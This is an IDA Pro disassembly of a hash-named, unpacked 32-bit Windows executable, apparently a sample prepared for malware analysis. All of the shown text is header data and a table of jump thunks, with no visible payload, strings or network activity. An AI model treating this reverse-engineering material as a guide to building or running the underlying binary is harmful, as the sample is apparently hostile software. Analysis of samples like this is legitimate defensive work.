; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 83790900C475B8540ADBC7FE2029CE32 ; File Name : u:\work\83790900c475b8540adbc7fe2029ce32_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00112000 (1122304.) ; Section size in file : 00112000 (1122304.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing db 5 dup(0CCh) ; --------------------------------------------------------------------------- jmp loc_430920 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43F09Co jmp loc_412D80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421BF0+29p jmp sub_422150 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_432540 ; --------------------------------------------------------------------------- jmp loc_420EA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004119B3p jmp sub_4119E0 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B29Dp ; ___:0040B2AAp ... jmp sub_403C50 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FB90+34p jmp sub_40B0E0 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404CC0+616p ; sub_404CC0+6D5p ... jmp sub_40A110 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42B3F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_4135E0+3Bp ; ___:00414C00p jmp sub_4156D0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_430B30+6Ep ; sub_430B30+8Ap ... jmp sub_4342D0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:00430212p ; sub_430B30+3Fp ... jmp sub_434150 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423A40 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D210 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B0E0+3Ap ; sub_40B150+1Ap jmp sub_433C70 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E760+37Bp jmp sub_421D30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C1A0+8p jmp sub_40C360 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_432BF0+5Ap ; sub_434A00+50p jmp sub_432BB0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43F07Co jmp sub_41C710 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416FAAp jmp sub_41FCD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40C040+32p jmp sub_40C200 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416FBAp jmp sub_418390 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415920+6Ap ; sub_416380+32p jmp sub_4162C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E760+161p ; sub_4224E0+3p jmp sub_421B50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ADE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421D30+3p ; ___:004220FFp ... jmp sub_422270 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C4E0+43p jmp sub_40CBB0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_4292E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_4075C0+Ap jmp sub_407660 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4246D0+23p ; sub_424870+6p ... jmp sub_4245E0 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_431EF0+F5p ; sub_431EF0+14Fp jmp sub_4340E0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4344C0+C8p jmp sub_431C80 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043F174o jmp sub_42B0B0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43F0A0o jmp loc_41E3C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418430+D0p ; sub_418590+2Dp jmp sub_418B20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_410030+8D9p ; sub_410030+990p ... jmp sub_411930 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:00430626p ; ___:00430694p ... jmp sub_4321F0 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421E50+9p ; sub_422340+18p jmp sub_4224C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40AAD0+58p ; sub_40AAD0+82p ... jmp sub_40ACC0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422B40+3F1p ; ___:00423BA6p ... jmp sub_419BE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416110+7p jmp sub_416740 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415600+5Bp ; sub_415F70+11p ... jmp sub_4161C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_42AF20+58p jmp sub_42AD90 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421970+1Fp jmp sub_421DB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_4220B0+11p ; ___:004220D7p ... jmp sub_4225D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421B30+3p ; ___:00421E9Fp ... jmp sub_422010 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_4144D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_428210+3p jmp sub_428240 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415B00+11p ; ___:00415B27p ... jmp sub_416570 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_434600 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421C60+5p ; sub_421D50+6p ... jmp sub_422250 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416B5Bp ; ___:0043B25Ej ... jmp sub_417B60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404CC0+6Ap ; sub_404CC0+1AFp ... jmp sub_412A40 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43F074o jmp sub_4193C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_432D10+6p ; ___:00432D23p ... jmp sub_430770 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42F6C0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43F15Co jmp loc_42AD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423D9Dp jmp sub_423860 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_433240 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:00415178p jmp sub_415A90 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41BA50+F7p ; sub_41BA50+10Bp ... jmp sub_409F80 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_4099F0+Ap jmp sub_409AE0 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4134A0+55p ; sub_4134A0+94p ... jmp sub_415860 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425100+18Cp ; ___:00425F7Dp jmp sub_4236F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414C8Ep jmp sub_415600 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_4288F0+3p jmp sub_428920 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43F038o jmp loc_4119B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415ED0+11p ; ___:00415EF7p ... jmp sub_4166F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D830 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418C10+23p ; sub_418E80+11p jmp sub_418F60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418B90+3p ; sub_418F90+54p ... jmp sub_418DE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_4096E0+6Ap ; sub_4096E0+103p jmp sub_409980 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_433B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413E4Dp jmp sub_413C40 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A2E4p jmp sub_41B0E0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4134A0+88p ; sub_4148A0+BFp ... jmp sub_415A30 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_430770+7p ; sub_4307E0+19p ... jmp sub_434BA0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DBF0 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:0043239Ap jmp sub_431D40 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_407230+11p ; sub_4073C0+1Fp jmp sub_407460 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_403720+3B5p ; sub_403720+3C5p ... jmp sub_403E50 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421D10+3p jmp sub_422290 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C330+Ap jmp sub_40C3F0 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_403720+1Dp ; sub_407080+1Fp ... jmp sub_403CC0 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413344p ; ___:0043AC8Cj ... jmp sub_415490 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42C640+3p jmp sub_42C670 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AFE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414C9Dp jmp sub_414D40 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407660+7p ; sub_409AE0+7p ... jmp sub_407690 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_4135E0+73p ; ___:00414C3Dp ... jmp sub_4156F0 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E760+58p jmp sub_420630 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413E70+84p jmp sub_4138B0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00433718p jmp sub_431060 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_407510+8p jmp sub_4075F0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404CC0+9Fp ; sub_404CC0+230p ... jmp sub_40A510 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A870+21p ; sub_40AAD0+A5p jmp sub_40AAB0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40B050 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A510+129p ; sub_40A8F0+4p ... jmp sub_40A8C0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43F0DCo jmp sub_427940 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004335ADp jmp sub_430D60 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_407340+3p ; ___:0040740Fp ... jmp sub_4074D0 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D930+346p ; sub_41D930+410p ... jmp sub_421970 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421BB0+11p ; sub_4220B0+1Fp jmp sub_4221E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42C7E0+3p jmp sub_42C810 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_4077E0 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C200+5Fp jmp sub_40C3D0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_403530+F6p ; sub_403530+12Ep ... jmp sub_409D10 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E760+113p ; sub_41E760+124p jmp sub_421B30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043F060o jmp sub_41F960 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416BFBp ; ___:0043B1D2j ... jmp sub_4177B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AFA0+Fp jmp sub_431240 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418C10+32p jmp sub_418E80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_434860 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415500+5p ; sub_415710+6p ... jmp sub_416130 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BD90+29p ; sub_40BEB0+29p jmp sub_40C040 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E760+3E9p ; ___:0043C4ABj jmp sub_421BF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4145A0+BFp jmp sub_4152E0 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4165E0+Ap jmp sub_416920 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416C67p ; ___:0043B173j ... jmp sub_4170B0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418430 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416D30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416F1Fp jmp sub_4180D0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414760 ; --------------------------------------------------------------------------- jmp loc_430320 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_410030+387p ; sub_41F030+21Dp ... jmp sub_41B7E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416F5Ap jmp sub_418280 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409570+8p jmp sub_4095C0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_42AD20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_4096E0+A5p ; sub_412C90+21p jmp sub_4098F0 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404CC0+382p ; sub_41D930+5AAp jmp sub_41C130 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416E6Fp jmp sub_403720 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418CC0+23p ; sub_418F90+11p jmp sub_4190E0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424920+Cp ; sub_424920+3Ep ... jmp sub_424410 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_430960 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404CC0+85Ap ; sub_404CC0+AD6p ... jmp sub_40A370 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042FE06p ; ___:0042FE56p ... jmp sub_432780 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E760+367p ; sub_41E760+3D4p ... jmp sub_421D80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_427D50+107o jmp sub_427FD0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424800+18p ; sub_424840+Ap ... jmp sub_4247B0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416220+9p ; sub_4162C0+18p jmp sub_4168D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_432570+32o jmp sub_432D70 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42FE50 ; --------------------------------------------------------------------------- jmp loc_419CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_42AD90+67p jmp sub_41FFF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:004301E8p ; sub_4303A0+2p ... jmp sub_431560 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413740+3Fp ; sub_4145A0+40p ... jmp sub_415230 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404690+19Fp ; sub_404690+212p ... jmp sub_409FD0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424F70+B5p ; sub_424F70+F1p jmp sub_424F00 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425100+130p jmp sub_424F70 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416F3Ap jmp sub_418180 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416F0Fp jmp sub_418010 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4316C0+1p jmp sub_431750 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00427201p jmp sub_427740 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418430+71p ; sub_418430+BBp ... jmp sub_418AF0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A180+7p jmp sub_40A1A0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004329C8p ; sub_432A20+2Bp jmp sub_432BF0 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_432570+1p jmp sub_4327B0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4208E0+37Bp jmp sub_421CD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414430+5Bp jmp sub_415100 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_415490+29p ; sub_4155B0+29p jmp sub_416030 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00437232p ; ___:00437242p ... jmp sub_4370F0 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4134A0+5Fp ; sub_4134A0+9Ep ... jmp sub_415A60 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B600+62p ; ___:0040BAC8p ... jmp sub_40BF40 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4313B0 ; --------------------------------------------------------------------------- jmp loc_42FF30 ; --------------------------------------------------------------------------- loc_40134D: ; DATA XREF: ___:0043F1A8o jmp loc_42C690 ; --------------------------------------------------------------------------- jmp loc_42C5D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416190+8p jmp sub_4167B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4134A0+71p ; sub_4134A0:loc_41356Cp ... jmp sub_415A10 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418430+AFp ; sub_4190E0+3p jmp sub_418BB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043F104o jmp sub_427D50 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B600+39p ; sub_40B600+78p ... jmp sub_40BF70 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_426A90+29p ; sub_426A90+38p jmp sub_4269A0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A600+1Cp jmp sub_41A640 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043F164o jmp sub_42AF20 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408CA2p ; ___:00414551p jmp sub_414300 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418590+72p jmp sub_406C80 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409E00+7p ; sub_409F50+7p ... jmp sub_40A7E0 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43F080o jmp sub_422B40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413BB0 ; --------------------------------------------------------------------------- jmp sub_42C640 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418A00+11p ; sub_421DB0+1Fp jmp sub_418D50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C5C0 loc_4013A2: ; CODE XREF: sub_42C5C0+3j jmp sub_42BB00 ; END OF FUNCTION CHUNK FOR sub_42C5C0 ; --------------------------------------------------------------------------- jmp sub_42C7E0 ; --------------------------------------------------------------------------- jmp loc_42FEA0 ; --------------------------------------------------------------------------- jmp loc_414B30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_4072E0+1Fp jmp sub_4073C0 sub_4013B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013BB proc near ; CODE XREF: sub_4257F0+47Fp jmp sub_4253C0 sub_4013BB endp ; --------------------------------------------------------------------------- jmp loc_42FAA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C5 proc near ; CODE XREF: sub_40FE40+3p ; ___:00416BEBp ... jmp sub_40FE70 sub_4013C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CA proc near ; CODE XREF: sub_426560+Cp ; sub_4266D0+Ap ... jmp sub_426520 sub_4013CA endp ; --------------------------------------------------------------------------- jmp loc_40D3C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE XREF: sub_4253C0+E9p ; 